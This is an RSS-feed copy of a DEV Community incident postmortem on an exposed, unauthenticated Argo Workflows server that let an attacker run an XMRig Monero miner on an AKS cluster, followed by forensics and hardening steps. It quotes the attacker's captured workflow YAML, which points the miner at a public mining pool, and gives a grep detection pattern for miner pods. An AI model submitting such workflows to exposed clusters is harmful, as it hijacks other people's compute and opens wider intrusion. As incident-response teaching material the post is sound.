<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Muruganantham Palanisamy</title>
    <description>The latest articles on DEV Community by Muruganantham Palanisamy (@muruganantham_palanisamy_).</description>
    <link>https://dev.to/muruganantham_palanisamy_</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F4161641%2F19a15539-ee68-4d70-8a1a-353bb3390668.jpg</url>
      <title>DEV Community: Muruganantham Palanisamy</title>
      <link>https://dev.to/muruganantham_palanisamy_</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/muruganantham_palanisamy_"/>
    <language>en</language>
    <item>
      <title>How an Exposed Argo Server Turned Our AKS Cluster Into a Crypto Miner</title>
      <dc:creator>Muruganantham Palanisamy</dc:creator>
      <pubDate>Sun, 04 Oct 2026 13:20:42 +0000</pubDate>
      <link>https://dev.to/muruganantham_palanisamy_/how-an-exposed-argo-server-turned-our-aks-cluster-into-a-crypto-miner-6h</link>
      <guid>https://dev.to/muruganantham_palanisamy_/how-an-exposed-argo-server-turned-our-aks-cluster-into-a-crypto-miner-6h</guid>
      <description>&lt;p&gt;&lt;strong&gt;Note:&lt;/strong&gt; All identifiers in this post — cluster names, subscriptions, IPs, wallet addresses, and emails — have been anonymized. The technical details, timeline, and remediation steps are taken from a real incident I responded to.&lt;/p&gt;

&lt;p&gt;A development AKS cluster that nobody was watching closely spent roughly three days mining Monero for a stranger. No data was stolen. Nothing crashed. The only reason we caught it was a routine agentless scan flagging a container image as malware. This is the full story: how the attacker got in, what the forensics showed, and the exact changes that closed the hole.&lt;/p&gt;

&lt;p&gt;If you run Kubernetes — especially "just a POC" clusters — this is the cheapest security lesson you'll ever get.&lt;/p&gt;




&lt;h2&gt;
  
  
  TL;DR
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;A &lt;strong&gt;POC AKS cluster&lt;/strong&gt; was running &lt;strong&gt;Argo Workflows&lt;/strong&gt; with an &lt;code&gt;argo-server&lt;/code&gt; exposed to the public internet on port 80 with &lt;strong&gt;&lt;code&gt;--auth-mode=server&lt;/code&gt;&lt;/strong&gt; — meaning &lt;strong&gt;no authentication required&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;An attacker scanned for it, found it, and submitted Argo &lt;code&gt;Workflow&lt;/code&gt; objects running &lt;code&gt;miningcontainers/xmrig:latest&lt;/code&gt;, pointed at a Monero mining pool.&lt;/li&gt;
&lt;li&gt;With &lt;strong&gt;no NetworkPolicy, no Pod Security Admission, and a &lt;code&gt;cluster-admin&lt;/code&gt; ClusterRoleBinding&lt;/strong&gt; lying around, nothing stopped it.&lt;/li&gt;
&lt;li&gt;It mined for ~3 days on 8 vCPUs before an &lt;strong&gt;agentless malware scan&lt;/strong&gt; caught the image.&lt;/li&gt;
&lt;li&gt;Fix = kill the entry point, then layer on &lt;strong&gt;AuthN, NetworkPolicy, Pod Security Standards, admission control on registries, and runtime monitoring&lt;/strong&gt;.&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  The detection
&lt;/h2&gt;

&lt;p&gt;The first signal came from an agentless container scanner (Prisma Cloud in our case, but Defender for Containers or Trivy-operator would catch the same thing). Two minutes after a container instance restarted, the scanner reported:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rule&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;th&gt;Finding&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Malware (WildFire)&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Critical&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Image flagged as malware — 4 instances&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Crypto-mining binaries&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;High&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Image contains known mining binaries&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Runs as root&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;High&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Image created without a non-root user&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;The image was the giveaway:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;docker.io/miningcontainers/xmrig:latest
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;&lt;code&gt;xmrig&lt;/code&gt; is the most popular open-source &lt;strong&gt;Monero (XMR)&lt;/strong&gt; CPU miner. When it shows up in your cluster and you didn't put it there, you've been cryptojacked.&lt;/p&gt;




&lt;h2&gt;
  
  
  The forensics
&lt;/h2&gt;

&lt;p&gt;We &lt;strong&gt;stopped the cluster first&lt;/strong&gt; (containment), then restarted it in a controlled window to collect evidence before cleaning up. Here's what we found.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. The entry point: an unauthenticated Argo server
&lt;/h3&gt;

&lt;p&gt;The cluster had been set up months earlier for an Argo CI/CD + Workflows POC. Over time, several &lt;code&gt;argo-server&lt;/code&gt; variants had accumulated — and one of them was wide open:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;kubectl get svc &lt;span class="nt"&gt;-n&lt;/span&gt; argo
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;NAME                  TYPE           EXTERNAL-IP        PORT(S)        AUTH
argo-server-noauth    LoadBalancer   &amp;lt;public-ip&amp;gt;        80             --auth-mode=server  &amp;lt;-- NO AUTH
argo-server-open      LoadBalancer   &amp;lt;public-ip&amp;gt;        80             --auth-mode=client
argo-server-public    LoadBalancer   &amp;lt;public-ip&amp;gt;        80,443         unknown
argo-server-nodeport  NodePort       -                  30746          unknown
argo-server           LoadBalancer   &amp;lt;public-ip&amp;gt;        2746           default
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;That first one is the problem. In Argo Workflows, &lt;code&gt;--auth-mode=server&lt;/code&gt; means the server authenticates &lt;strong&gt;as itself&lt;/strong&gt; to the cluster and does &lt;strong&gt;not&lt;/strong&gt; require the caller to present any credentials. Expose that behind a public &lt;code&gt;LoadBalancer&lt;/code&gt; on port 80 and you've effectively published a "run any container you want on my cluster" API to the entire internet.&lt;/p&gt;

&lt;p&gt;Automated scanners (Shodan, Censys, mass-scanners) find these within hours.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. The payload: a captured malicious workflow
&lt;/h3&gt;

&lt;p&gt;The attacker submitted ordinary-looking Argo &lt;code&gt;Workflow&lt;/code&gt; objects. Here's a sanitized copy of what was actually on the cluster:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;argoproj.io/v1alpha1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Workflow&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;generateName&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;besteffort-probe-&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;argo&lt;/span&gt;
  &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;workflows.argoproj.io/creator&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;system-serviceaccount-argo-argo-server&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;entrypoint&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;run&lt;/span&gt;
  &lt;span class="na"&gt;templates&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;run&lt;/span&gt;
    &lt;span class="na"&gt;container&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="na"&gt;image&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;miningcontainers/xmrig:latest&lt;/span&gt;
      &lt;span class="na"&gt;args&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-k"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-o"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;auto.c3pool.org:443"&lt;/span&gt;     &lt;span class="c1"&gt;# Monero mining pool&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-u"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;&amp;lt;attacker-monero-wallet&amp;gt;"&lt;/span&gt; &lt;span class="c1"&gt;# payout address&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;-p"&lt;/span&gt;
      &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;AR"&lt;/span&gt;                       &lt;span class="c1"&gt;# worker label&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Note the innocuous &lt;code&gt;generateName: besteffort-probe-&lt;/code&gt; — it's trying to look like noise. Three of these were submitted and ran as &lt;code&gt;besteffort-probe-xxxxx&lt;/code&gt; pods.&lt;/p&gt;

&lt;h3&gt;
  
  
  3. Why nothing stopped it
&lt;/h3&gt;

&lt;p&gt;This is the part worth internalizing. The miner ran because &lt;strong&gt;every layer that should have blocked it was missing&lt;/strong&gt;:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Control that was missing&lt;/th&gt;
&lt;th&gt;What it would have prevented&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;AuthN on Argo server&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Anonymous workflow submission&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;NetworkPolicy&lt;/strong&gt; (&lt;code&gt;networkPolicy: none&lt;/code&gt;)&lt;/td&gt;
&lt;td&gt;Egress to the mining pool&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Pod Security Admission&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Root/privileged containers&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Registry admission control&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Pulling &lt;code&gt;docker.io/miningcontainers/*&lt;/code&gt;
&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;
&lt;strong&gt;Runtime monitoring&lt;/strong&gt; (Container Insights off)&lt;/td&gt;
&lt;td&gt;Alerting on sustained 100% CPU&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Least-privilege RBAC&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;A stray &lt;code&gt;cluster-admin&lt;/code&gt; ClusterRoleBinding (&lt;code&gt;argo-admin&lt;/code&gt;) gave workflows the keys to the kingdom&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Security is layered for exactly this reason. Any &lt;strong&gt;one&lt;/strong&gt; of these controls would have stopped or flagged the attack. Zero of them were present.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. The blast radius
&lt;/h3&gt;

&lt;p&gt;XMRig is "just" a miner, so there was no data exfiltration. But the same unauthenticated path could have been used to:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Read every Secret the Argo service account could reach&lt;/li&gt;
&lt;li&gt;Move laterally (no NetworkPolicy = flat network)&lt;/li&gt;
&lt;li&gt;Steal CI/CD credentials mounted into workflows&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;&lt;strong&gt;Treat cryptojacking as a signal, not the whole problem. If they could run a miner, they could run anything.&lt;/strong&gt;&lt;/p&gt;




&lt;h2&gt;
  
  
  The timeline
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;~months prior   POC cluster created; multiple argo-server deployments pile up;
                argo-server-noauth exposed publicly on :80 with no auth

Day 0 13:14     Attacker submits 3 "besteffort-probe" workflows via the open Argo API
                -&amp;gt; image: miningcontainers/xmrig:latest -&amp;gt; pool: auto.c3pool.org:443

Day 0 -&amp;gt; Day 3  XMRig mines Monero on 2x Standard_D4s_v3 (8 vCPUs) ~24/7

Day 3 04:19     Container instance restarts; agentless scan picks it up
Day 3 04:21     Scanner confirms malware (WildFire + mining binaries)

Day 3-4         Security notified -&amp;gt; cluster STOPPED (containment)
Day 4           Controlled restart for forensics -&amp;gt; eradication -&amp;gt; hardening
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Three days of free compute on someone else's Azure bill. On a bigger or GPU-enabled cluster, that's a very expensive weekend.&lt;/p&gt;




&lt;h2&gt;
  
  
  Eradication
&lt;/h2&gt;

&lt;p&gt;Containment first (&lt;code&gt;az aks stop&lt;/code&gt;), then — once restarted in a controlled window — hunt and destroy:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# Hunt for the miner across all namespaces&lt;/span&gt;
kubectl get pods &lt;span class="nt"&gt;-A&lt;/span&gt; &lt;span class="nt"&gt;-o&lt;/span&gt; wide | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-iE&lt;/span&gt; &lt;span class="s1"&gt;'xmrig|mining|besteffort'&lt;/span&gt;
kubectl get workflows &lt;span class="nt"&gt;-A&lt;/span&gt;
kubectl get cronworkflows &lt;span class="nt"&gt;-A&lt;/span&gt;

&lt;span class="c"&gt;# Delete malicious workloads and workflows&lt;/span&gt;
kubectl delete workflow &amp;lt;name&amp;gt; &lt;span class="nt"&gt;-n&lt;/span&gt; argo
kubectl delete pod &amp;lt;name&amp;gt; &lt;span class="nt"&gt;-n&lt;/span&gt; argo &lt;span class="nt"&gt;--force&lt;/span&gt; &lt;span class="nt"&gt;--grace-period&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;0

&lt;span class="c"&gt;# Remove the entry points&lt;/span&gt;
kubectl delete svc argo-server-noauth argo-server-open argo-server-public &lt;span class="nt"&gt;-n&lt;/span&gt; argo
kubectl delete deploy argo-server-noauth argo-server-open &lt;span class="nt"&gt;-n&lt;/span&gt; argo

&lt;span class="c"&gt;# Kill persistence: look for stray cluster-admin bindings&lt;/span&gt;
kubectl get clusterrolebindings | &lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-v&lt;/span&gt; &lt;span class="s1"&gt;'^system:'&lt;/span&gt;
kubectl delete clusterrolebinding argo-admin-binding

&lt;span class="c"&gt;# Purge cached malicious images from nodes&lt;/span&gt;
az aks update &lt;span class="nt"&gt;-n&lt;/span&gt; &amp;lt;cluster&amp;gt; &lt;span class="nt"&gt;-g&lt;/span&gt; &amp;lt;rg&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--enable-image-cleaner&lt;/span&gt; &lt;span class="nt"&gt;--image-cleaner-interval-hours&lt;/span&gt; 24
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Then &lt;strong&gt;rotate everything&lt;/strong&gt; the attacker could have touched: Kubernetes Secrets, registry credentials, any Git/CI tokens mounted into workflows.&lt;/p&gt;




&lt;h2&gt;
  
  
  Hardening — the part that actually matters
&lt;/h2&gt;

&lt;p&gt;Removing the miner is easy. Making sure it can't happen again is the job. Here's what we applied, in order of impact.&lt;/p&gt;

&lt;h3&gt;
  
  
  1. Never expose a workflow engine without auth
&lt;/h3&gt;

&lt;p&gt;If Argo needs to be reachable, put it behind SSO and drop &lt;code&gt;--auth-mode=server&lt;/code&gt; for public endpoints. Better: don't give it a public &lt;code&gt;LoadBalancer&lt;/code&gt; at all — use private ingress + VPN/Entra ID.&lt;/p&gt;

&lt;h3&gt;
  
  
  2. NetworkPolicy: deny egress by default
&lt;/h3&gt;

&lt;p&gt;The single highest-ROI control. A miner that can't reach a pool is useless.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;networking.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;NetworkPolicy&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;deny-all&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;argo&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;podSelector&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{}&lt;/span&gt;
  &lt;span class="na"&gt;policyTypes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;Ingress&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;Egress&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
&lt;span class="nn"&gt;---&lt;/span&gt;
&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;networking.k8s.io/v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;NetworkPolicy&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;allow-dns-only&lt;/span&gt;
  &lt;span class="na"&gt;namespace&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;argo&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;podSelector&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;{}&lt;/span&gt;
  &lt;span class="na"&gt;policyTypes&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="nv"&gt;Egress&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;egress&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;ports&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="pi"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;protocol&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;UDP&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;53&lt;/span&gt; &lt;span class="pi"&gt;}&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="pi"&gt;{&lt;/span&gt; &lt;span class="nv"&gt;protocol&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;TCP&lt;/span&gt;&lt;span class="pi"&gt;,&lt;/span&gt; &lt;span class="nv"&gt;port&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="nv"&gt;53&lt;/span&gt; &lt;span class="pi"&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Enable the engine at the cluster level too:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az aks update &lt;span class="nt"&gt;-n&lt;/span&gt; &amp;lt;cluster&amp;gt; &lt;span class="nt"&gt;-g&lt;/span&gt; &amp;lt;rg&amp;gt; &lt;span class="nt"&gt;--network-policy&lt;/span&gt; calico
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  3. Pod Security Admission: ban root/privileged
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;v1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;Namespace&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;argo&lt;/span&gt;
  &lt;span class="na"&gt;labels&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;pod-security.kubernetes.io/enforce&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;restricted&lt;/span&gt;
    &lt;span class="na"&gt;pod-security.kubernetes.io/audit&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;restricted&lt;/span&gt;
    &lt;span class="na"&gt;pod-security.kubernetes.io/warn&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;restricted&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The XMRig image runs as root — &lt;code&gt;restricted&lt;/code&gt; would have rejected it outright.&lt;/p&gt;

&lt;h3&gt;
  
  
  4. Admission control on registries (Gatekeeper / Azure Policy)
&lt;/h3&gt;

&lt;p&gt;Only allow images from registries you trust. &lt;code&gt;docker.io/miningcontainers/*&lt;/code&gt; should never be pullable.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight yaml"&gt;&lt;code&gt;&lt;span class="na"&gt;apiVersion&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;constraints.gatekeeper.sh/v1beta1&lt;/span&gt;
&lt;span class="na"&gt;kind&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;K8sAllowedRepos&lt;/span&gt;
&lt;span class="na"&gt;metadata&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;name&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="s"&gt;allowed-repos&lt;/span&gt;
&lt;span class="na"&gt;spec&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
  &lt;span class="na"&gt;match&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;kinds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="na"&gt;apiGroups&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
      &lt;span class="na"&gt;kinds&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt; &lt;span class="pi"&gt;[&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;Pod"&lt;/span&gt;&lt;span class="pi"&gt;]&lt;/span&gt;
  &lt;span class="na"&gt;parameters&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="na"&gt;repos&lt;/span&gt;&lt;span class="pi"&gt;:&lt;/span&gt;
    &lt;span class="pi"&gt;-&lt;/span&gt; &lt;span class="s2"&gt;"&lt;/span&gt;&lt;span class="s"&gt;myregistry.azurecr.io/"&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  5. Turn monitoring ON
&lt;/h3&gt;

&lt;p&gt;The cluster had Container Insights &lt;strong&gt;disabled&lt;/strong&gt;, so nobody saw 8 vCPUs pinned at 100% for three days. Enable it and alert on sustained CPU + unexpected egress.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az aks enable-addons &lt;span class="nt"&gt;-n&lt;/span&gt; &amp;lt;cluster&amp;gt; &lt;span class="nt"&gt;-g&lt;/span&gt; &amp;lt;rg&amp;gt; &lt;span class="nt"&gt;--addons&lt;/span&gt; monitoring
az aks update &lt;span class="nt"&gt;-n&lt;/span&gt; &amp;lt;cluster&amp;gt; &lt;span class="nt"&gt;-g&lt;/span&gt; &amp;lt;rg&amp;gt; &lt;span class="nt"&gt;--enable-defender&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;h3&gt;
  
  
  6. Least privilege + identity
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;az aks update &lt;span class="nt"&gt;-n&lt;/span&gt; &amp;lt;cluster&amp;gt; &lt;span class="nt"&gt;-g&lt;/span&gt; &amp;lt;rg&amp;gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;--enable-oidc-issuer&lt;/span&gt; &lt;span class="nt"&gt;--enable-workload-identity&lt;/span&gt; &lt;span class="nt"&gt;--disable-local-accounts&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Delete stray &lt;code&gt;cluster-admin&lt;/code&gt; bindings. Workflows should run with the &lt;strong&gt;minimum&lt;/strong&gt; RBAC they need, never cluster-admin.&lt;/p&gt;




&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ol&gt;
&lt;li&gt;
&lt;strong&gt;"It's just a POC" is how most breaches start.&lt;/strong&gt; Dev clusters get the least attention and the loosest config. Attackers don't care about your environment label.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;A public endpoint + no auth = a public API to your compute.&lt;/strong&gt; Argo, Jupyter, Ray dashboards, Kubeflow, the Kubernetes dashboard — all have been abused this exact way.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Layered controls win.&lt;/strong&gt; Any one of NetworkPolicy, PSA, registry admission, or monitoring would have stopped or surfaced this. Don't rely on a single gate.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cryptojacking is a smoke alarm.&lt;/strong&gt; If someone can run a miner, assume they could have run anything — rotate credentials and hunt for persistence.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;You can't respond to what you can't see.&lt;/strong&gt; Monitoring isn't optional, even in dev.&lt;/li&gt;
&lt;/ol&gt;

